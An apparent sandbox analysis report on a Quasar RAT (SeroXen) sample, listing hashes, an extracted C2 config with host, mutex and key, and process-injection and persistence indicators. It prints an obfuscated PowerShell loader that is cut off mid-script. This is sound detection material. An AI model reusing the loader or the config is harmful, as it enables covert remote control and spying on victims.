quasar | 04f86ef6a2870bcaff958187d1bbf7281e6c8c1c1f2fbefddc11e3a379e4f9b9

Analysis

max time kernel
150s
max time network
134s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
14-05-2024 18:14

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General

Target

Uni.exe
Size

409KB
MD5

16e4226eddebe2148b46353c351ec570
SHA1

5879aab64c4d4c086f24807f85c3f1bec657db9c
SHA256

04f86ef6a2870bcaff958187d1bbf7281e6c8c1c1f2fbefddc11e3a379e4f9b9
SHA512

7fa89b0aee061fca53534c7e38dfa873235095e32f64e87d7a8457e765f804d8f2408e90b90a484ea3e9c18d1110a5667de9aab14d9d9e22911433e9da4cfd38
SSDEEP

6144:cMfPp5S6M1Xy0vjzilQA9QU9sX0bx4UmWOQ6rhxODbfFOqb:Rpg6M1i+jzilQoAVUmjJtx2fF5b

Score

10^/10

quasar seroxen spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SeroXen

tue-jake.gl.at.ply.gg:29058

Mutex

$Sxr-NCZpRTaGL620kkY20c

Attributes

encryption_key
0CaeSao9jSngJXRQGaoy
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
SeroXen
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/816-1-0x0000000000070000-0x00000000000DC000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Roaming\SubDir\Client.exe	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description pid process target process

PID 1084 created 632 1084 powershell.EXE winlogon.exe
PID 4348 created 632 4348 powershell.EXE winlogon.exe

description	pid	process	target process
PID 1084 created 632	1084	powershell.EXE	winlogon.exe
PID 4348 created 632	4348	powershell.EXE	winlogon.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 3 IoCs

Processes:

Client.exeinstall.exeinstall.exe

pid process

1572 Client.exe
2480 install.exe
3504 install.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

1 raw.githubusercontent.com
4 raw.githubusercontent.com
10 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com

pid	process
1572	Client.exe
2480	install.exe
3504	install.exe

flow	ioc
1	raw.githubusercontent.com
4	raw.githubusercontent.com
10	raw.githubusercontent.com

flow	ioc
1	ip-api.com

Drops file in System32 directory 6 IoCs

Processes:

powershell.EXEsvchost.exepowershell.EXEOfficeClickToRun.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description	pid	process	target process
PID 1084 set thread context of 4188	1084	powershell.EXE	dllhost.exe
PID 4348 set thread context of 4844	4348	powershell.EXE	dllhost.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeSCHTASKS.exeschtasks.exe

pid process

1612 schtasks.exe
5044 SCHTASKS.exe
3708 schtasks.exe

pid	process
1612	schtasks.exe
5044	SCHTASKS.exe
3708	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.EXEOfficeClickToRun.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={885A7A87-AB63-4A76-A8D1-34BE6C1ED385}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 14 May 2024 18:16:09 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715710569"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.EXEpowershell.EXEdllhost.exedllhost.exe

pid	process
1084	powershell.EXE
1084	powershell.EXE
4348	powershell.EXE
4348	powershell.EXE
1084	powershell.EXE
4188	dllhost.exe
4188	dllhost.exe
4188	dllhost.exe
4188	dllhost.exe
4188	dllhost.exe
4188	dllhost.exe
4188	dllhost.exe
4188	dllhost.exe
4188	dllhost.exe
4188	dllhost.exe
4348	powershell.EXE
4844	dllhost.exe
4844	dllhost.exe
4188	dllhost.exe
4188	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe
4844	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

3320 Explorer.EXE

pid	process
3320	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Uni.exepowershell.EXEClient.exepowershell.EXEdllhost.exedllhost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	816	Uni.exe
Token: SeDebugPrivilege	1084	powershell.EXE
Token: SeDebugPrivilege	1572	Client.exe
Token: SeDebugPrivilege	4348	powershell.EXE
Token: SeDebugPrivilege	1084	powershell.EXE
Token: SeDebugPrivilege	4188	dllhost.exe
Token: SeDebugPrivilege	4348	powershell.EXE
Token: SeDebugPrivilege	4844	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2732	svchost.exe
Token: SeIncreaseQuotaPrivilege	2732	svchost.exe
Token: SeSecurityPrivilege	2732	svchost.exe
Token: SeTakeOwnershipPrivilege	2732	svchost.exe
Token: SeLoadDriverPrivilege	2732	svchost.exe
Token: SeSystemtimePrivilege	2732	svchost.exe
Token: SeBackupPrivilege	2732	svchost.exe
Token: SeRestorePrivilege	2732	svchost.exe
Token: SeShutdownPrivilege	2732	svchost.exe
Token: SeSystemEnvironmentPrivilege	2732	svchost.exe
Token: SeUndockPrivilege	2732	svchost.exe
Token: SeManageVolumePrivilege	2732	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2732	svchost.exe
Token: SeIncreaseQuotaPrivilege	2732	svchost.exe
Token: SeSecurityPrivilege	2732	svchost.exe
Token: SeTakeOwnershipPrivilege	2732	svchost.exe
Token: SeLoadDriverPrivilege	2732	svchost.exe
Token: SeSystemtimePrivilege	2732	svchost.exe
Token: SeBackupPrivilege	2732	svchost.exe
Token: SeRestorePrivilege	2732	svchost.exe
Token: SeShutdownPrivilege	2732	svchost.exe
Token: SeSystemEnvironmentPrivilege	2732	svchost.exe
Token: SeUndockPrivilege	2732	svchost.exe
Token: SeManageVolumePrivilege	2732	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2732	svchost.exe
Token: SeIncreaseQuotaPrivilege	2732	svchost.exe
Token: SeSecurityPrivilege	2732	svchost.exe
Token: SeTakeOwnershipPrivilege	2732	svchost.exe
Token: SeLoadDriverPrivilege	2732	svchost.exe
Token: SeSystemtimePrivilege	2732	svchost.exe
Token: SeBackupPrivilege	2732	svchost.exe
Token: SeRestorePrivilege	2732	svchost.exe
Token: SeShutdownPrivilege	2732	svchost.exe
Token: SeSystemEnvironmentPrivilege	2732	svchost.exe
Token: SeUndockPrivilege	2732	svchost.exe
Token: SeManageVolumePrivilege	2732	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2732	svchost.exe
Token: SeIncreaseQuotaPrivilege	2732	svchost.exe
Token: SeSecurityPrivilege	2732	svchost.exe
Token: SeTakeOwnershipPrivilege	2732	svchost.exe
Token: SeLoadDriverPrivilege	2732	svchost.exe
Token: SeSystemtimePrivilege	2732	svchost.exe
Token: SeBackupPrivilege	2732	svchost.exe
Token: SeRestorePrivilege	2732	svchost.exe
Token: SeShutdownPrivilege	2732	svchost.exe
Token: SeSystemEnvironmentPrivilege	2732	svchost.exe
Token: SeUndockPrivilege	2732	svchost.exe
Token: SeManageVolumePrivilege	2732	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2732	svchost.exe
Token: SeIncreaseQuotaPrivilege	2732	svchost.exe
Token: SeSecurityPrivilege	2732	svchost.exe
Token: SeTakeOwnershipPrivilege	2732	svchost.exe
Token: SeLoadDriverPrivilege	2732	svchost.exe
Token: SeSystemtimePrivilege	2732	svchost.exe
Token: SeBackupPrivilege	2732	svchost.exe
Token: SeRestorePrivilege	2732	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Client.exe

pid process

1572 Client.exe

pid	process
1572	Client.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Uni.exeClient.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 816 wrote to memory of 1612	816	Uni.exe	schtasks.exe
PID 816 wrote to memory of 1612	816	Uni.exe	schtasks.exe
PID 816 wrote to memory of 1612	816	Uni.exe	schtasks.exe
PID 816 wrote to memory of 1572	816	Uni.exe	Client.exe
PID 816 wrote to memory of 1572	816	Uni.exe	Client.exe
PID 816 wrote to memory of 1572	816	Uni.exe	Client.exe
PID 816 wrote to memory of 2480	816	Uni.exe	install.exe
PID 816 wrote to memory of 2480	816	Uni.exe	install.exe
PID 816 wrote to memory of 2480	816	Uni.exe	install.exe
PID 816 wrote to memory of 5044	816	Uni.exe	SCHTASKS.exe
PID 816 wrote to memory of 5044	816	Uni.exe	SCHTASKS.exe
PID 816 wrote to memory of 5044	816	Uni.exe	SCHTASKS.exe
PID 1572 wrote to memory of 3708	1572	Client.exe	schtasks.exe
PID 1572 wrote to memory of 3708	1572	Client.exe	schtasks.exe
PID 1572 wrote to memory of 3708	1572	Client.exe	schtasks.exe
PID 1572 wrote to memory of 3504	1572	Client.exe	install.exe
PID 1572 wrote to memory of 3504	1572	Client.exe	install.exe
PID 1572 wrote to memory of 3504	1572	Client.exe	install.exe
PID 1084 wrote to memory of 4188	1084	powershell.EXE	dllhost.exe
PID 1084 wrote to memory of 4188	1084	powershell.EXE	dllhost.exe
PID 1084 wrote to memory of 4188	1084	powershell.EXE	dllhost.exe
PID 1084 wrote to memory of 4188	1084	powershell.EXE	dllhost.exe
PID 1084 wrote to memory of 4188	1084	powershell.EXE	dllhost.exe
PID 1084 wrote to memory of 4188	1084	powershell.EXE	dllhost.exe
PID 1084 wrote to memory of 4188	1084	powershell.EXE	dllhost.exe
PID 1084 wrote to memory of 4188	1084	powershell.EXE	dllhost.exe
PID 4188 wrote to memory of 632	4188	dllhost.exe	winlogon.exe
PID 4188 wrote to memory of 688	4188	dllhost.exe	lsass.exe
PID 4188 wrote to memory of 980	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 388	4188	dllhost.exe	dwm.exe
PID 4188 wrote to memory of 476	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 628	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 1060	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 1116	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 1128	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 1192	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 1200	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 1220	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 1340	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 1424	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 1512	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 1520	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 1544	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 1676	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 1732	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 1748	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 1816	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 1876	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 1980	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 1992	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 2000	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 1584	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 2128	4188	dllhost.exe	spoolsv.exe
PID 4188 wrote to memory of 2252	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 2420	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 2504	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 2512	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 2548	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 2640	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 2676	4188	dllhost.exe	sysmon.exe
PID 4188 wrote to memory of 2716	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 2732	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 2744	4188	dllhost.exe	svchost.exe
PID 4188 wrote to memory of 2064	4188	dllhost.exe	sihost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:632

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:388

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{d935c6ce-737c-4829-84aa-3f8fd561983f}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4188

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{2415b56f-2e33-4f10-a7cd-4c16f48970b9}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4844

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:476

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:628

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1128

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:IQayQPaxKWXX{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$LZVZWXVpFERacu,[Parameter(Position=1)][Type]$MlTregIfnM)$EOXrdgHBAdz=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'ef'+'l'+''+'e'+'c'+[Char](116)+'e'+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+'o'+''+[Char](114)+''+'y'+''+'M'+''+[Char](111)+'d'+'u'+'l'+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'De'+[Char](108)+''+'e'+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+'T'+'y'+''+'p'+''+'e'+'',''+'C'+'l'+'a'+'s'+'s'+''+','+''+[Char](80)+''+[Char](117)+'b'+'l'+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+'a'+''+'l'+''+'e'+''+'d'+','+[Char](65)+''+'n'+'s'+'i'+'Cl'+[Char](97)+''+[Char](115)+''+[Char](115)+','+[Char](65)+''+[Char](117)+'t'+[Char](111)+'C'+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$EOXrdgHBAdz.DefineConstructor('R'+[Char](84)+'S'+[Char](112)+''+[Char](101)+'c'+'i'+''+[Char](97)+''+[Char](108)+'N'+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'Hi'+[Char](100)+'e'+'B'+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$LZVZWXVpFERacu).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+'t'+'i'+[Char](109)+''+'e'+''+','+''+'M'+''+[Char](97)+''+'n'+''+'a'+''+[Char](103)+''+[Char](101)+''+'d'+'');$EOXrdgHBAdz.DefineMethod(''+'I'+''+'n'+''+'v'+'o'+'k'+'e',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+'c'+[Char](44)+''+'H'+''+'i'+'d'+[Char](101)+''+[Char](66)+''+'y'+'S'+'i'+''+[Char](103)+''+','+'N'+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+'ot'+[Char](44)+'Virtu'+[Char](97)+''+[Char](108)+'',$MlTregIfnM,$LZVZWXVpFERacu).SetImplementationFlags('Ru'+'n'+'t'+'i'+''+[Char](109)+'e'+[Char](44)+'M'+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $EOXrdgHBAdz.CreateType();}$pljiSZCUlegiE=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'ys'+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+'cr'+[Char](111)+'s'+'o'+''+'f'+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+''+'3'+''+[Char](50)+'.'+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+'N'+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$jicIGYrmyJiTky=$pljiSZCUlegiE.GetMethod(''+'G'+'et'+[Char](80)+'r'+'o'+''+[Char](99)+''+[Char](65)+''+'d'+'d'+[Char](114)+''+'e'+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+'bl'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+'a'+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$jgBDxpAtpCdGYOUNSkA=IQayQPaxKWXX @([String])([IntPtr]);$QZmvkgqplAIMthhHPUFidA=IQayQPaxKWXX 